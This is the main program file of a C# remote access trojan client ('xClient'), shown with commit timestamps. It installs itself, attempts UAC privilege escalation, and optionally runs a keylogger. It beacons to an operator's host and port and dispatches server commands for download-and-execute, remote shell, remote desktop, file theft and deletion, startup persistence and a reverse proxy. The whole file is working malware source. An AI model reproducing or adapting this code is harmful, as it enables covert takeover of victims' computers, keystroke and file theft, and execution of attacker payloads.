2015-01-13 18:29:11 +00:00
|
|
|
|
using System;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
using System.IO;
|
|
|
|
|
using System.Threading;
|
|
|
|
|
using System.Windows.Forms;
|
2015-01-13 18:29:11 +00:00
|
|
|
|
using xClient.Config;
|
|
|
|
|
using xClient.Core;
|
|
|
|
|
using xClient.Core.Commands;
|
2015-05-01 12:50:38 +00:00
|
|
|
|
using xClient.Core.Keylogger;
|
2015-01-13 18:29:11 +00:00
|
|
|
|
using xClient.Core.Packets;
|
2015-05-10 11:11:27 +00:00
|
|
|
|
using xClient.Core.ReverseProxy;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
namespace xClient
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
internal static class Program
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-01-15 09:10:52 +00:00
|
|
|
|
public static Client ConnectClient;
|
|
|
|
|
private static bool _reconnect = true;
|
|
|
|
|
private static volatile bool _connected = false;
|
|
|
|
|
private static Mutex _appMutex;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
[STAThread]
|
|
|
|
|
private static void Main(string[] args)
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-01-13 18:29:11 +00:00
|
|
|
|
Application.EnableVisualStyles();
|
|
|
|
|
Application.SetCompatibleTextRenderingDefault(false);
|
2015-03-17 16:22:42 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
Settings.Initialize();
|
|
|
|
|
Initialize();
|
|
|
|
|
if (!SystemCore.Disconnect)
|
|
|
|
|
Connect();
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-03-17 16:22:42 +00:00
|
|
|
|
Cleanup();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private static void Cleanup()
|
|
|
|
|
{
|
2015-01-13 18:29:11 +00:00
|
|
|
|
CommandHandler.CloseShell();
|
2015-03-18 17:57:51 +00:00
|
|
|
|
if (CommandHandler.LastDesktopScreenshot != null)
|
|
|
|
|
CommandHandler.LastDesktopScreenshot.Dispose();
|
2015-05-01 12:50:38 +00:00
|
|
|
|
if (Logger.Instance != null)
|
|
|
|
|
Logger.Instance.Enabled = false;
|
2015-01-15 09:10:52 +00:00
|
|
|
|
if (_appMutex != null)
|
|
|
|
|
_appMutex.Close();
|
2015-03-31 18:38:16 +00:00
|
|
|
|
|
|
|
|
|
CommandHandler.StreamCodec = null;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-02-24 11:13:04 +00:00
|
|
|
|
private static void InitializeClient()
|
|
|
|
|
{
|
2015-03-31 16:15:48 +00:00
|
|
|
|
ConnectClient = new Client();
|
2015-02-24 11:13:04 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
ConnectClient.AddTypesToSerializer(typeof (IPacket), new Type[]
|
|
|
|
|
{
|
|
|
|
|
typeof (Core.Packets.ServerPackets.InitializeCommand),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Disconnect),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Reconnect),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Uninstall),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DownloadAndExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.UploadAndExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Desktop),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetProcesses),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.KillProcess),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.StartProcess),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Drives),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Directory),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DownloadFile),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.MouseClick),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetSystemInfo),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.VisitWebsite),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.ShowMessageBox),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Update),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Monitors),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.ShellCommand),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Rename),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Delete),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Action),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetStartupItems),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.AddStartupItem),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
|
2015-04-22 19:39:52 +00:00
|
|
|
|
typeof (Core.Packets.ServerPackets.GetLogs),
|
2015-04-21 18:27:52 +00:00
|
|
|
|
typeof (Core.Packets.ClientPackets.Initialize),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.Status),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.UserStatus),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DesktopResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DrivesResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DirectoryResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DownloadFileResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.MonitorsResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
|
2015-04-22 19:39:52 +00:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
|
2015-05-10 11:11:27 +00:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetLogsResponse),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxy_Connect),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxy_ConnectResponse),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxy_Data),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxy_Disconnect)
|
2015-02-24 11:13:04 +00:00
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
ConnectClient.ClientState += ClientState;
|
|
|
|
|
ConnectClient.ClientRead += ClientRead;
|
|
|
|
|
}
|
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
private static void Initialize()
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-01-15 09:10:52 +00:00
|
|
|
|
Thread.Sleep(2000);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
|
|
|
|
|
SystemCore.MyPath = Application.ExecutablePath;
|
2015-04-25 16:49:52 +00:00
|
|
|
|
SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
SystemCore.AccountType = SystemCore.GetAccountType();
|
|
|
|
|
SystemCore.InitializeGeoIp();
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (Settings.ENABLEUACESCALATION)
|
|
|
|
|
{
|
|
|
|
|
if (SystemCore.TryUacTrick())
|
|
|
|
|
SystemCore.Disconnect = true;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (SystemCore.Disconnect)
|
|
|
|
|
return;
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-01-15 09:10:52 +00:00
|
|
|
|
if (!SystemCore.CreateMutex(ref _appMutex))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
SystemCore.Disconnect = true;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (SystemCore.Disconnect)
|
|
|
|
|
return;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
new Thread(SystemCore.UserIdleThread).Start();
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-02-24 11:13:04 +00:00
|
|
|
|
InitializeClient();
|
2015-05-01 12:50:38 +00:00
|
|
|
|
|
|
|
|
|
if (Settings.ENABLELOGGER)
|
|
|
|
|
{
|
|
|
|
|
new Thread(() =>
|
|
|
|
|
{
|
2015-05-06 01:58:29 +00:00
|
|
|
|
Logger logger = new Logger(15000) { Enabled = true };
|
2015-05-01 12:50:38 +00:00
|
|
|
|
}).Start();
|
|
|
|
|
}
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2015-01-15 09:10:52 +00:00
|
|
|
|
if (!SystemCore.CreateMutex(ref _appMutex))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
SystemCore.Disconnect = true;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (SystemCore.Disconnect)
|
|
|
|
|
return;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
SystemCore.Install();
|
|
|
|
|
}
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
private static void Connect()
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-01-13 18:29:11 +00:00
|
|
|
|
TryAgain:
|
|
|
|
|
Thread.Sleep(250 + new Random().Next(0, 250));
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-15 09:10:52 +00:00
|
|
|
|
if (!_connected)
|
|
|
|
|
ConnectClient.Connect(Settings.HOST, Settings.PORT);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
Thread.Sleep(200);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
Application.DoEvents();
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
HoldOpen:
|
2015-01-15 09:10:52 +00:00
|
|
|
|
while (_connected) // hold client open
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
|
|
|
|
Application.DoEvents();
|
|
|
|
|
Thread.Sleep(2500);
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (SystemCore.Disconnect)
|
|
|
|
|
{
|
2015-01-15 09:10:52 +00:00
|
|
|
|
ConnectClient.Disconnect();
|
2015-01-13 18:29:11 +00:00
|
|
|
|
return;
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-15 09:10:52 +00:00
|
|
|
|
if (_reconnect && !SystemCore.Disconnect && !_connected)
|
2015-01-13 18:29:11 +00:00
|
|
|
|
goto TryAgain;
|
|
|
|
|
else
|
|
|
|
|
goto HoldOpen;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-01-13 18:29:11 +00:00
|
|
|
|
|
2015-05-04 14:46:34 +00:00
|
|
|
|
private static void Disconnect(bool reconnect = false)
|
2014-07-17 21:22:59 +00:00
|
|
|
|
{
|
2015-05-04 14:46:34 +00:00
|
|
|
|
if (reconnect)
|
|
|
|
|
CommandHandler.CloseShell();
|
|
|
|
|
else
|
|
|
|
|
SystemCore.Disconnect = true;
|
|
|
|
|
ConnectClient.Disconnect();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private static void LostConnection()
|
|
|
|
|
{
|
|
|
|
|
CommandHandler.CloseShell();
|
|
|
|
|
}
|
2015-01-13 18:29:11 +00:00
|
|
|
|
|
2015-05-04 14:46:34 +00:00
|
|
|
|
private static void ClientState(Client client, bool connected)
|
|
|
|
|
{
|
2015-01-13 18:29:11 +00:00
|
|
|
|
if (connected && !SystemCore.Disconnect)
|
2015-01-15 09:10:52 +00:00
|
|
|
|
_reconnect = true;
|
2015-01-13 18:29:11 +00:00
|
|
|
|
else if (!connected && SystemCore.Disconnect)
|
2015-01-15 09:10:52 +00:00
|
|
|
|
_reconnect = false;
|
2015-01-13 18:29:11 +00:00
|
|
|
|
else
|
2015-01-15 09:10:52 +00:00
|
|
|
|
_reconnect = !SystemCore.Disconnect;
|
2015-05-04 14:46:34 +00:00
|
|
|
|
|
|
|
|
|
if (_connected != connected && !connected && _reconnect && !SystemCore.Disconnect)
|
|
|
|
|
LostConnection();
|
|
|
|
|
|
|
|
|
|
_connected = connected;
|
2014-07-17 21:22:59 +00:00
|
|
|
|
}
|
2015-01-13 18:29:11 +00:00
|
|
|
|
|
2015-01-15 09:10:52 +00:00
|
|
|
|
private static void ClientRead(Client client, IPacket packet)
|
2014-07-22 19:52:07 +00:00
|
|
|
|
{
|
2015-01-15 09:10:52 +00:00
|
|
|
|
var type = packet.GetType();
|
2015-01-13 18:29:11 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (type == typeof (Core.Packets.ServerPackets.InitializeCommand))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.DownloadAndExecute))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute) packet,
|
|
|
|
|
client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.UploadAndExecute))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleUploadAndExecute((Core.Packets.ServerPackets.UploadAndExecute) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Disconnect))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-05-04 14:46:34 +00:00
|
|
|
|
Disconnect();
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Reconnect))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-05-04 14:46:34 +00:00
|
|
|
|
Disconnect(true);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Uninstall))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Desktop))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.GetProcesses))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.KillProcess))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.StartProcess))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Drives))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Directory))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.DownloadFile))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.MouseClick))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.GetSystemInfo))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.VisitWebsite))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.ShowMessageBox))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Update))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Monitors))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.ShellCommand))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Rename))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Delete))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.Action))
|
2015-01-13 18:29:11 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleAction((Core.Packets.ServerPackets.Action) packet, client);
|
2015-02-24 11:13:04 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.GetStartupItems))
|
2015-02-24 11:13:04 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleGetStartupItems((Core.Packets.ServerPackets.GetStartupItems) packet, client);
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.AddStartupItem))
|
2015-03-08 17:13:13 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleAddStartupItem((Core.Packets.ServerPackets.AddStartupItem) packet, client);
|
2015-03-08 17:13:13 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ServerPackets.DownloadFileCanceled))
|
2015-04-04 15:22:20 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDownloadFileCanceled((Core.Packets.ServerPackets.DownloadFileCanceled) packet,
|
|
|
|
|
client);
|
2015-04-04 15:22:20 +00:00
|
|
|
|
}
|
2015-04-22 19:39:52 +00:00
|
|
|
|
else if (type == typeof(Core.Packets.ServerPackets.GetLogs))
|
|
|
|
|
{
|
2015-05-10 11:11:27 +00:00
|
|
|
|
CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client);
|
|
|
|
|
}
|
|
|
|
|
else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxy_Connect) ||
|
|
|
|
|
type == typeof(Core.ReverseProxy.Packets.ReverseProxy_ConnectResponse) ||
|
|
|
|
|
type == typeof(Core.ReverseProxy.Packets.ReverseProxy_Data) ||
|
|
|
|
|
type == typeof(Core.ReverseProxy.Packets.ReverseProxy_Disconnect))
|
|
|
|
|
{
|
|
|
|
|
ReverseProxyCommandHandler.HandleCommand(client, packet);
|
2015-04-22 19:39:52 +00:00
|
|
|
|
}
|
2014-07-22 19:52:07 +00:00
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-01-13 18:29:11 +00:00
|
|
|
|
}
|